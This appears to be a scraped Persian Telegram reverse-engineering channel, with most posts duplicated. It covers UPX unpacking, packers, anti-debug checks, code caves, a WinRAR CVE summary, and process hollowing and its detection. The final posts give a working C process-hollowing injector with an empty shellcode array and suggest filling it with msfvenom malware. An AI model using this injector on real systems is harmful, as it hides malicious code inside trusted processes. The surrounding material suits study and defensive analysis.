آموزش عملی آنپکینگ UPX با OllyDbg (قدم به قدم)
مرحله 1: تشخیص پک UPX
با ابزارهایی مثل PEiD یا Detect It Easy بررسی کند که فایل UPX شده باشه
مرحله 2: بارگذاری فایل در OllyDbg
فایل رو باز کنید و منتظر باشید تا دیباگر برنامه رو لود کنه
مرحله 3: پیدا کردن نقطه اصلی اجرای کد
با دستورالعملهای داخل دیباگر جلو برید و به دنبال آدرس Entry Point واقعی باشید
مرحله 4: ذخیره حافظه Dump
وقتی رسیدید به نقطهای که کد اصلی آنپک شده و اجرا میشه، حافظه رو Dump کنید
مرحله 5: اصلاح فایل
از ابزارهای مثل Scylla استفاده کنید تا IAT (Import Address Table) اصلاح بشه و فایل قابل اجرا بشه
مرحله 1: تشخیص پک UPX
با ابزارهایی مثل PEiD یا Detect It Easy بررسی کند که فایل UPX شده باشه
مرحله 2: بارگذاری فایل در OllyDbg
فایل رو باز کنید و منتظر باشید تا دیباگر برنامه رو لود کنه
مرحله 3: پیدا کردن نقطه اصلی اجرای کد
با دستورالعملهای داخل دیباگر جلو برید و به دنبال آدرس Entry Point واقعی باشید
مرحله 4: ذخیره حافظه Dump
وقتی رسیدید به نقطهای که کد اصلی آنپک شده و اجرا میشه، حافظه رو Dump کنید
مرحله 5: اصلاح فایل
از ابزارهای مثل Scylla استفاده کنید تا IAT (Import Address Table) اصلاح بشه و فایل قابل اجرا بشه
👍4
ReverseEngineering
آموزش عملی آنپکینگ UPX با OllyDbg (قدم به قدم) مرحله 1: تشخیص پک UPX با ابزارهایی مثل PEiD یا Detect It Easy بررسی کند که فایل UPX شده باشه مرحله 2: بارگذاری فایل در OllyDbg فایل رو باز کنید و منتظر باشید تا دیباگر برنامه رو لود کنه مرحله 3: پیدا کردن…
نکات طلایی:
UPX
یه پک رایگانه و خیلیها باهاش کار کردن پس اگه با UPX راحت شدید میتونید بعدش سراغ پکینگهای پیچیدهتر برید
دنبال الگوریتمهای پکینگ در حافظه باشید اونجا کد اصلی مخفی شده
Timing Check
رو موقع آنپکینگ بررسی کنید تا دیباگر رو گمراه نکنید
UPX
یه پک رایگانه و خیلیها باهاش کار کردن پس اگه با UPX راحت شدید میتونید بعدش سراغ پکینگهای پیچیدهتر برید
دنبال الگوریتمهای پکینگ در حافظه باشید اونجا کد اصلی مخفی شده
Timing Check
رو موقع آنپکینگ بررسی کنید تا دیباگر رو گمراه نکنید
👍1👏1
👾پکینگ و آنپکینگ پیشرفته — چیجوری پیچیدهتر میشه؟
وقتی میخواید نرمافزاری رو مهندسی معکوس کنید گاهی اون برنامه با یه پکینگ ساده مثل UPX بستهبندی نشده بلکه از پکینگهای پیشرفته و پیچیده استفاده کرده
🪤این پکینگها چیکار میکنن؟
⚠️کد برنامه رو طوری مخفی و محافظت میکنن که حتی وقتی برنامه اجرا میشه کد اصلی رو مستقیم نبینید
با استفاده از Virtualization-based Protection (مثل VMProtect یا Themida) کد برنامه رو به یه زبان مجازی خاص تبدیل میکنن که فقط داخل یه ماشین مجازی کوچیک اجرا بشه
از تکنیکهای Anti-Debug استفاده میکنن که دیباگرها رو شناسایی کنن و جلوی تحلیل رو بگیرن
Code Obfuscation
برای پیچیدهکردن ساختار کد استفاده میکنن تا فهمیدن عملکردش خیلی سخت بشه
وقتی میخواید نرمافزاری رو مهندسی معکوس کنید گاهی اون برنامه با یه پکینگ ساده مثل UPX بستهبندی نشده بلکه از پکینگهای پیشرفته و پیچیده استفاده کرده
🪤این پکینگها چیکار میکنن؟
⚠️کد برنامه رو طوری مخفی و محافظت میکنن که حتی وقتی برنامه اجرا میشه کد اصلی رو مستقیم نبینید
با استفاده از Virtualization-based Protection (مثل VMProtect یا Themida) کد برنامه رو به یه زبان مجازی خاص تبدیل میکنن که فقط داخل یه ماشین مجازی کوچیک اجرا بشه
از تکنیکهای Anti-Debug استفاده میکنن که دیباگرها رو شناسایی کنن و جلوی تحلیل رو بگیرن
Code Obfuscation
برای پیچیدهکردن ساختار کد استفاده میکنن تا فهمیدن عملکردش خیلی سخت بشه
👍2❤1
❌فرق پکینگ ساده و پکینگ پیشرفته
پکینگ ساده مثل UPX فقط کد رو فشرده میکنه و بعد از اجرا سریع کد اصلی رو باز میکنه
پکینگ پیشرفته مثل Themida یه لایه خیلی ضخیم محافظتی داره که حتی بعد از آنپک کردن کد اصلی به شکل مستقیم دیده نمیشه
پکینگ ساده مثل UPX فقط کد رو فشرده میکنه و بعد از اجرا سریع کد اصلی رو باز میکنه
پکینگ پیشرفته مثل Themida یه لایه خیلی ضخیم محافظتی داره که حتی بعد از آنپک کردن کد اصلی به شکل مستقیم دیده نمیشه
👍5👏1
This media is not supported in your browser
VIEW IN TELEGRAM
با ماژول hackrf تونسته ecu ماشین رو هک بکنه
😁7❤1👍1👏1
Forwarded from GO-TO CVE
CVE-2023-38831-week-54.pdf
588.3 KB
بررسی CVE-2023-38831 – فقط یه فایل RAR باز کن… بوم! 🎯💣
سلام به همه عزیزان و عاشقان مهندسی معکوس! خوش اومدین به اپیزود ۵۴ از برنامهی هفتگی GO-TO CVE! 🎙💻
این هفته رفتیم سراغ یه آسیبپذیری واقعی و پر سر و صدا اما قدیمی در یکی از محبوبترین ابزارهای فشردهسازی دنیا WinRAR! 🎯
🔹 Week: 54
🔹 CVE: CVE-2023-38831
🔹 Type: RCE via Archive Trick
🔹 Target: WinRAR < v6.23
⚒️ Patch چی بوده؟
توی نسخه 6.23 و بالاتر، تیم WinRAR منطق اولویتدهی به فایل و فولدر با نام یکسان رو اصلاح کرده. حالا دیگه فولدر همنام فایل نمیتونه باعث override رفتار کلیک بشه، و این یعنی پایان ترفند RCE با اسمگذاری هوشمندانه!
🎯 توی اپیزود ۵۴ از کانال GO-TO CVE با هم بررسی کردیم:
📬 عضویت در کانال + هر هفته یه باگ باحال برای تحلیل:
https://news.1rj.ru/str/GOTOCVE
#week_54
سلام به همه عزیزان و عاشقان مهندسی معکوس! خوش اومدین به اپیزود ۵۴ از برنامهی هفتگی GO-TO CVE! 🎙💻
این هفته رفتیم سراغ یه آسیبپذیری واقعی و پر سر و صدا اما قدیمی در یکی از محبوبترین ابزارهای فشردهسازی دنیا WinRAR! 🎯
🔹 Week: 54
🔹 CVE: CVE-2023-38831
🔹 Type: RCE via Archive Trick
🔹 Target: WinRAR < v6.23
⚒️ Patch چی بوده؟
توی نسخه 6.23 و بالاتر، تیم WinRAR منطق اولویتدهی به فایل و فولدر با نام یکسان رو اصلاح کرده. حالا دیگه فولدر همنام فایل نمیتونه باعث override رفتار کلیک بشه، و این یعنی پایان ترفند RCE با اسمگذاری هوشمندانه!
🎯 توی اپیزود ۵۴ از کانال GO-TO CVE با هم بررسی کردیم:
📬 عضویت در کانال + هر هفته یه باگ باحال برای تحلیل:
https://news.1rj.ru/str/GOTOCVE
#week_54
👍2❤1
Forwarded from GO-TO CVE
GO-TO CVE
CVE-2023-38831-week-54.pdf
Media is too big
VIEW IN TELEGRAM
poc_CVE-2023-38831
👏1
Code Cave
چیه و چطوری بدافزار ها ازش سو استفاده میکنن؟
توی خیلی از فایلهای اجرایی (مثل exe.) یه سری قسمت هست که عملا استفاده نمیشن یعنی برنامه بهشون کاری نداره پر از صفر و دستورای الکی مثل NOP هستن به این فضاهای بدون استفاده میگن Code Cave یعنی یه جور "غار خالی" وسط فایل!
حالا اینجا دقیقا همون جاییه که یه بدافزار میتونه قایم شه هکر یا کسی که فایل رو آلوده میکنه کد مخربشو میزاره تو همین فضای خالی بعد یه پرش (jmp) از کد اصلی به این غار(فضای خالی) میزنه تا موقع اجرا یهو برنامه بزنه به جای منحرف و بره سمت کد مخرب!
بعضی وقتا هم اونقدر حرفهای این کارو انجام میدن که بعد از اجرای کد مخرب دوباره برنامه برمیگرده به روال عادی یعنی تو حتی نمیفهمی اتفاقی افتاده ولی پشت پرده داستان چیز دیگهایه...
🔹 چرا این تکنیک محبوبه بین بدافزارنویسها؟
چون فایل رو بزرگتر نمیکنه
آنتیویروسها سختتر متوجه میشن
از بیرون هم فایل خیلی نرمال به نظر میرسه
🔍 چطوری اینو موقع مهندسی معکوس تشخیص بدیم؟
جاهایی که یه دفعه دیدی پر از nop یا صفره
پرشهای عجیبغریب به آدرسهای دور از منطق
Sectionهایی که بیشازحد خالی هستن
🔧 ابزارایی که به کارمون میان تو این ماجرا:
x64dbg
IDA Pro
CFF Explorer
PE-bear
چیه و چطوری بدافزار ها ازش سو استفاده میکنن؟
توی خیلی از فایلهای اجرایی (مثل exe.) یه سری قسمت هست که عملا استفاده نمیشن یعنی برنامه بهشون کاری نداره پر از صفر و دستورای الکی مثل NOP هستن به این فضاهای بدون استفاده میگن Code Cave یعنی یه جور "غار خالی" وسط فایل!
حالا اینجا دقیقا همون جاییه که یه بدافزار میتونه قایم شه هکر یا کسی که فایل رو آلوده میکنه کد مخربشو میزاره تو همین فضای خالی بعد یه پرش (jmp) از کد اصلی به این غار(فضای خالی) میزنه تا موقع اجرا یهو برنامه بزنه به جای منحرف و بره سمت کد مخرب!
بعضی وقتا هم اونقدر حرفهای این کارو انجام میدن که بعد از اجرای کد مخرب دوباره برنامه برمیگرده به روال عادی یعنی تو حتی نمیفهمی اتفاقی افتاده ولی پشت پرده داستان چیز دیگهایه...
🔹 چرا این تکنیک محبوبه بین بدافزارنویسها؟
چون فایل رو بزرگتر نمیکنه
آنتیویروسها سختتر متوجه میشن
از بیرون هم فایل خیلی نرمال به نظر میرسه
🔍 چطوری اینو موقع مهندسی معکوس تشخیص بدیم؟
جاهایی که یه دفعه دیدی پر از nop یا صفره
پرشهای عجیبغریب به آدرسهای دور از منطق
Sectionهایی که بیشازحد خالی هستن
🔧 ابزارایی که به کارمون میان تو این ماجرا:
x64dbg
IDA Pro
CFF Explorer
PE-bear
❤4👍1
😈Process Hollowing
وقتی یه فایل بیگناه تبدیل به هیولا میشه...
فرض کن یه بدافزار نخواد مستقیم اجرا شه چون میدونه زود لو میره
چی کار میکنه؟
میاد یه تئاتر راه میندازه...
یه برنامهی کاملا سالم مثل Notepad رو اجرا میکنه اما به شکل معلق (suspended)
یعنی فقط ظاهرشه هنوز نرفته تو خط اجرا
بعد چی؟ با یه ضربه مغز این برنامه رو خالی میکنه (یعنی حافظهی کدشو پاک میکنه) و کد خودش رو میچپونه تو مغز اون!
حالا اگه به تسک منیجر نگاه کنی همه چی خوبه
Notepad داره اجرا میشه
اما در واقع یه کد مخرب وحشی داره بهجاش نفس میکشه!
این یعنی Process Hollowing
💀 چرا خطرناکه؟
چون آنتیویروس نمیفهمه کدی که داره اجرا میشه با ظاهر برنامه فرق داره
امضا (signature) مال یه برنامهی سالمه ولی کارایی که میکنه مال یه قاتله
لاگها و رفتار سیستم هم فریب میخورن
👁️🗨️ دنبال ردش بگردی؟ باید خیلی باهوش باشی. چون یه پردازش سالمه با یه روح تسخیرشده.
ابزارایی مثل x64dbg یا Process Hacker شاید کمک کنن ولی بدون دیدن کد تو حافظهی زمان اجرا نمیفهمید چه خبره
🧪 Process Hollowing
هم تکنیکیه برای پنهونکاری هم یه کلاس بالاتر از تزریق کده
هکرایی که اینو میزنن دنبال یه اجرای مخفین...
در سکوت...
زیر پوستهی یه برنامهی معمولی...
وقتی یه فایل بیگناه تبدیل به هیولا میشه...
فرض کن یه بدافزار نخواد مستقیم اجرا شه چون میدونه زود لو میره
چی کار میکنه؟
میاد یه تئاتر راه میندازه...
یه برنامهی کاملا سالم مثل Notepad رو اجرا میکنه اما به شکل معلق (suspended)
یعنی فقط ظاهرشه هنوز نرفته تو خط اجرا
بعد چی؟ با یه ضربه مغز این برنامه رو خالی میکنه (یعنی حافظهی کدشو پاک میکنه) و کد خودش رو میچپونه تو مغز اون!
حالا اگه به تسک منیجر نگاه کنی همه چی خوبه
Notepad داره اجرا میشه
اما در واقع یه کد مخرب وحشی داره بهجاش نفس میکشه!
این یعنی Process Hollowing
💀 چرا خطرناکه؟
چون آنتیویروس نمیفهمه کدی که داره اجرا میشه با ظاهر برنامه فرق داره
امضا (signature) مال یه برنامهی سالمه ولی کارایی که میکنه مال یه قاتله
لاگها و رفتار سیستم هم فریب میخورن
👁️🗨️ دنبال ردش بگردی؟ باید خیلی باهوش باشی. چون یه پردازش سالمه با یه روح تسخیرشده.
ابزارایی مثل x64dbg یا Process Hacker شاید کمک کنن ولی بدون دیدن کد تو حافظهی زمان اجرا نمیفهمید چه خبره
🧪 Process Hollowing
هم تکنیکیه برای پنهونکاری هم یه کلاس بالاتر از تزریق کده
هکرایی که اینو میزنن دنبال یه اجرای مخفین...
در سکوت...
زیر پوستهی یه برنامهی معمولی...
❤8👍2
❤2
چطور بفهمیم یه Process Hollowing اتفاق افتاده؟
وقتی یه فایل ظاهرا سالم داره یه کار مشکوک میکنه باید بپرسید:
"این برنامه واقعاً خودشه؟ یا فقط یه ماسک زده؟"
🔍 بررسی فنی:
PID مشکوک؟
یه برنامهی بیزبان مثل notepad.exe نباید به اینترنت وصل شه یا فایل سیستمی دستکاری کنه
اگه کرد؟ برید ببینید دقیقا چی داره اجرا میشه...
مقایسه Image در دیسک با Memory:
با ابزارایی مثل Process Hacker یا PE-sieve میتونید بفهمید کدی که تو حافظه اجرا میشه با فایلی که رو دیسکه فرق داره یا نه
اگه فرق داشتن به احتمال زیاد یه تسخیر در جریانه 😈
3. بررسی بخش Entry Point:
با باز کردن فایل توی x64dbg بررسی کنید آیا نقطه شروع اجرا همونه که انتظار میره یا نه
اگه پرش داده شده به یه جای عجیب توی حافظه حواستون جمع باشه
رفتارهای عجیب:
برنامهای که کارش نمایش نوتپده نباید به رجیستری دست بزنه فایل رمزگذاری کنه یا سرور خارجی صدا بزنه
🔧 ابزارای پیشنهادی برای شکار روح توی پروسسها:
x64dbg
PE-sieve
Process Hacker
Sysinternals Process Explorer
Volatility (برای آنالیز رم)
🧪 یه نکتهی طلایی:
تو دنیای مهندسی معکوس همیشه به چیزی که میبینید اعتماد نکنید
خیلیا ظاهر سالم دارن ولی پشت اون ظاهر، یه کدیه که منتظر فرصته تا قفل بزنه بدزده یا فقط تماشا کنه
وقتی یه فایل ظاهرا سالم داره یه کار مشکوک میکنه باید بپرسید:
"این برنامه واقعاً خودشه؟ یا فقط یه ماسک زده؟"
🔍 بررسی فنی:
PID مشکوک؟
یه برنامهی بیزبان مثل notepad.exe نباید به اینترنت وصل شه یا فایل سیستمی دستکاری کنه
اگه کرد؟ برید ببینید دقیقا چی داره اجرا میشه...
مقایسه Image در دیسک با Memory:
با ابزارایی مثل Process Hacker یا PE-sieve میتونید بفهمید کدی که تو حافظه اجرا میشه با فایلی که رو دیسکه فرق داره یا نه
اگه فرق داشتن به احتمال زیاد یه تسخیر در جریانه 😈
3. بررسی بخش Entry Point:
با باز کردن فایل توی x64dbg بررسی کنید آیا نقطه شروع اجرا همونه که انتظار میره یا نه
اگه پرش داده شده به یه جای عجیب توی حافظه حواستون جمع باشه
رفتارهای عجیب:
برنامهای که کارش نمایش نوتپده نباید به رجیستری دست بزنه فایل رمزگذاری کنه یا سرور خارجی صدا بزنه
🔧 ابزارای پیشنهادی برای شکار روح توی پروسسها:
x64dbg
PE-sieve
Process Hacker
Sysinternals Process Explorer
Volatility (برای آنالیز رم)
🧪 یه نکتهی طلایی:
تو دنیای مهندسی معکوس همیشه به چیزی که میبینید اعتماد نکنید
خیلیا ظاهر سالم دارن ولی پشت اون ظاهر، یه کدیه که منتظر فرصته تا قفل بزنه بدزده یا فقط تماشا کنه
👍7❤1
ReverseEngineering pinned «این قلم جدیده ی جورایی باحاله اخه گفتم تنوع خوبه چطوره دوسش دارید😁»
💡تکنیکهای Anti-Debug دشمن شماره یک دیباگرها!
نرمافزارهایی که نمیخوان مهندسی معکوس بشن معمولا از تکنیکهایی استفاده میکنن که اگه دیباگر یا ابزار تحلیل روشون فعال باشه خودشونو ببندن یا کد اشتباه اجرا کنن اینا میشن تکنیکهای ضد دیباگ یا Anti-Debug
✅ چند تکنیک معروف Anti-Debug که زیاد میبینید:
استفاده از APIهای سیستمعامل
نرمافزار با استفاده از APIهایی مثل IsDebuggerPresent، CheckRemoteDebuggerPresent یا NtQueryInformationProcess بررسی میکنه دیباگر وصله یا نه
بررسی فلگهای مخصوص در PEB
برنامه با دسترسی مستقیم به PEB (Process Environment Block) چک میکنه که آیا دیباگر فعاله یا نه
Trap Flag / INT 3 / Breakpoint Detection
بررسی میکنه که آیا دیباگر روی کد break point گذاشته یا خیر یا اینکه از TF برای اجرای step-by-step استفاده میشه
استفاده از استثناها (SEH)
برنامه خطا تولید میکنه (مثلا تقسیم بر صفر یا دسترسی به آدرس بد) و از طریق handler بررسی میکنه که آیا این خطا توسط دیباگر گرفته شده یا توسط خودش
تاخیر در اجرا و مقایسه زمان (Timing Checks)
برنامه با استفاده از توابعی مثل GetTickCount یا QueryPerformanceCounter زمان اجرای دستورات رو میسنجه اگه کاربر با دیباگر کندتر اجرا کرده باشه،میفهمه مشکوکه
Debugger Evasion via TLS Callback
کد مخرب یا چک Anti-Debug رو به جای main() داخل TLS Callback میذارن جایی که دیباگرها اغلب از دست میدنش
تکنیکهای پیشرفتهتر
داینامیک API resolving (یعنی خودش موقع اجرا APIها رو پیدا میکنه)
Multi-threaded Debug Checks
Hardware Breakpoint Detection
Self Debugging (برنامه خودش رو attach میکنه)
🔓 مقابله با Anti-Debug
استفاده از پلاگینهایی مثل ScyllaHide روی x64dbg
استفاده از ابزارهایی مثل TitanHide برای پنهان کردن دیباگر
پچ کردن کدهایی مثل IsDebuggerPresent یا بایتهایی که باعث کرش میشن
نادیده گرفتن استثناها یا بستن handlerها
نرمافزارهایی که نمیخوان مهندسی معکوس بشن معمولا از تکنیکهایی استفاده میکنن که اگه دیباگر یا ابزار تحلیل روشون فعال باشه خودشونو ببندن یا کد اشتباه اجرا کنن اینا میشن تکنیکهای ضد دیباگ یا Anti-Debug
✅ چند تکنیک معروف Anti-Debug که زیاد میبینید:
استفاده از APIهای سیستمعامل
نرمافزار با استفاده از APIهایی مثل IsDebuggerPresent، CheckRemoteDebuggerPresent یا NtQueryInformationProcess بررسی میکنه دیباگر وصله یا نه
if (IsDebuggerPresent()) {
ExitProcess(0);
}
بررسی فلگهای مخصوص در PEB
برنامه با دسترسی مستقیم به PEB (Process Environment Block) چک میکنه که آیا دیباگر فعاله یا نه
mov eax, fs:[30h] ; PEB
movzx eax, byte ptr [eax+2]
cmp eax, 0
jne detected_debugger
Trap Flag / INT 3 / Breakpoint Detection
بررسی میکنه که آیا دیباگر روی کد break point گذاشته یا خیر یا اینکه از TF برای اجرای step-by-step استفاده میشه
استفاده از استثناها (SEH)
برنامه خطا تولید میکنه (مثلا تقسیم بر صفر یا دسترسی به آدرس بد) و از طریق handler بررسی میکنه که آیا این خطا توسط دیباگر گرفته شده یا توسط خودش
تاخیر در اجرا و مقایسه زمان (Timing Checks)
برنامه با استفاده از توابعی مثل GetTickCount یا QueryPerformanceCounter زمان اجرای دستورات رو میسنجه اگه کاربر با دیباگر کندتر اجرا کرده باشه،میفهمه مشکوکه
Debugger Evasion via TLS Callback
کد مخرب یا چک Anti-Debug رو به جای main() داخل TLS Callback میذارن جایی که دیباگرها اغلب از دست میدنش
تکنیکهای پیشرفتهتر
داینامیک API resolving (یعنی خودش موقع اجرا APIها رو پیدا میکنه)
Multi-threaded Debug Checks
Hardware Breakpoint Detection
Self Debugging (برنامه خودش رو attach میکنه)
🔓 مقابله با Anti-Debug
استفاده از پلاگینهایی مثل ScyllaHide روی x64dbg
استفاده از ابزارهایی مثل TitanHide برای پنهان کردن دیباگر
پچ کردن کدهایی مثل IsDebuggerPresent یا بایتهایی که باعث کرش میشن
نادیده گرفتن استثناها یا بستن handlerها
👍6❤1👏1
👽چطور خودمون یه Process Hollowing بنویسیم (آموزشی برای ردتیمرها و مهندسین معکوس)
(فقط برای اهداف آموزشی مسئولیت هرگونه استفاده نادرست با خودتونه)
🧬 توی ویندوز برای اینکه یه پروسس رو Hollow کنیم معمولا مراحل زیر رو میریم:
ساخت یه پروسس معلق (Suspended):
ما میایم یه پروسس بیگناه مثل notepad.exe رو اجرا میکنیم ولی نه عادی
با فلگ CREATE_SUSPENDED میگیم فقط اجرا شو اما هنوز ندو:
پاکسازی حافظهی اون پروسس:
بعدش باید مغز نوتپدو خالی کنیم! 😈
اینجا حافظهی اصلی برنامهی سالم از حافظهی اون پروسس پاک میشه
اختصاص فضای جدید برای کد خودمون:
یه فضای خالی تو همون پروسس باز میکنیم و بدافزار خودمونو اونجا میریزیم:
تنظیم رجیسترها روی Entry Point جدید:
یه تیر خلاص! یعنی CPU باید از کد ما شروع کنه:
اجرای پروسس:
حالا نخ اجرا رو از حالت توقف درمیاریم، و همه چی به ظاهر طبیعیه:
ResumeThread(pi.hThread);
و... 🎭 بدافزار ما تو لباس نوت پد داره با لبخند کار خودشو میکنه
🎯 چرا این آموزش مهمه برای مهندس معکوس؟
اگه دقیق نفهمی یه فایل چطور ساخته شده نمیتونی تشخیص بدی کجاش فیکه
مهندسی معکوس یعنی باز کردن مغز اینجور فایلها و فهمیدن اینکه پشت پرده چی میگذره
(فقط برای اهداف آموزشی مسئولیت هرگونه استفاده نادرست با خودتونه)
🧬 توی ویندوز برای اینکه یه پروسس رو Hollow کنیم معمولا مراحل زیر رو میریم:
ساخت یه پروسس معلق (Suspended):
ما میایم یه پروسس بیگناه مثل notepad.exe رو اجرا میکنیم ولی نه عادی
با فلگ CREATE_SUSPENDED میگیم فقط اجرا شو اما هنوز ندو:
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
پاکسازی حافظهی اون پروسس:
بعدش باید مغز نوتپدو خالی کنیم! 😈
NtUnmapViewOfSection(pi.hProcess, baseAddress);
اینجا حافظهی اصلی برنامهی سالم از حافظهی اون پروسس پاک میشه
اختصاص فضای جدید برای کد خودمون:
یه فضای خالی تو همون پروسس باز میکنیم و بدافزار خودمونو اونجا میریزیم:
VirtualAllocEx(pi.hProcess, baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, size, NULL);
تنظیم رجیسترها روی Entry Point جدید:
یه تیر خلاص! یعنی CPU باید از کد ما شروع کنه:
context.Eax = baseAddress + entryPointOffset;
SetThreadContext(pi.hThread, &context);
اجرای پروسس:
حالا نخ اجرا رو از حالت توقف درمیاریم، و همه چی به ظاهر طبیعیه:
ResumeThread(pi.hThread);
و... 🎭 بدافزار ما تو لباس نوت پد داره با لبخند کار خودشو میکنه
🎯 چرا این آموزش مهمه برای مهندس معکوس؟
اگه دقیق نفهمی یه فایل چطور ساخته شده نمیتونی تشخیص بدی کجاش فیکه
مهندسی معکوس یعنی باز کردن مغز اینجور فایلها و فهمیدن اینکه پشت پرده چی میگذره
❤6👍2
🩸اجرای واقعی Process Hollowing با C
کد زیر دقیقا همون کارو میکنه: اجرای یه شِلکد مخرب داخل پروسس بیگناهی مثل notepad.exe
کد (C / WinAPI):
> این فقط یه PoC آموزشی سادهست، shellcode تستی (مثل MessageBox) استفاده شده
🧠 نکتهها:
تو سیستم 64 بیتی باید از Wow64GetThreadContext و Wow64SetThreadContext استفاده کنید
جای shellcode میتونید هر باینری مخربی که با ابزارهایی مثل msfvenom ساختی بریزید
دقت کنید: آنتیویروسها معمولا VirtualAllocEx + WriteProcessMemory + ResumeThread رو شکار میکنن پس بدونید Obfuscation رد نمیشه
کد زیر دقیقا همون کارو میکنه: اجرای یه شِلکد مخرب داخل پروسس بیگناهی مثل notepad.exe
کد (C / WinAPI):
> این فقط یه PoC آموزشی سادهست، shellcode تستی (مثل MessageBox) استفاده شده
#include <windows.h>
#include <stdio.h>
int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
// بدافزار به شکل شلکد (مثلاً یه MessageBox ساده)
unsigned char shellcode[] = {
/* shellcode اینجا */
};
// اجرای notepad بهصورت معلق
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// گرفتن اطلاعات نخ برای تنظیم رجیستر
GetThreadContext(pi.hThread, &ctx);
// رزرو فضای حافظه برای کد ما
LPVOID alloc = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// نوشتن کد تو حافظه اون برنامه
WriteProcessMemory(pi.hProcess, alloc, shellcode, sizeof(shellcode), NULL);
// تنظیم EIP برای اجرای کد ما
ctx.Eip = (DWORD)alloc;
SetThreadContext(pi.hThread, &ctx);
// اجرای نخ
ResumeThread(pi.hThread);
return 0;
}
🧠 نکتهها:
تو سیستم 64 بیتی باید از Wow64GetThreadContext و Wow64SetThreadContext استفاده کنید
جای shellcode میتونید هر باینری مخربی که با ابزارهایی مثل msfvenom ساختی بریزید
دقت کنید: آنتیویروسها معمولا VirtualAllocEx + WriteProcessMemory + ResumeThread رو شکار میکنن پس بدونید Obfuscation رد نمیشه
❤7👍2👏1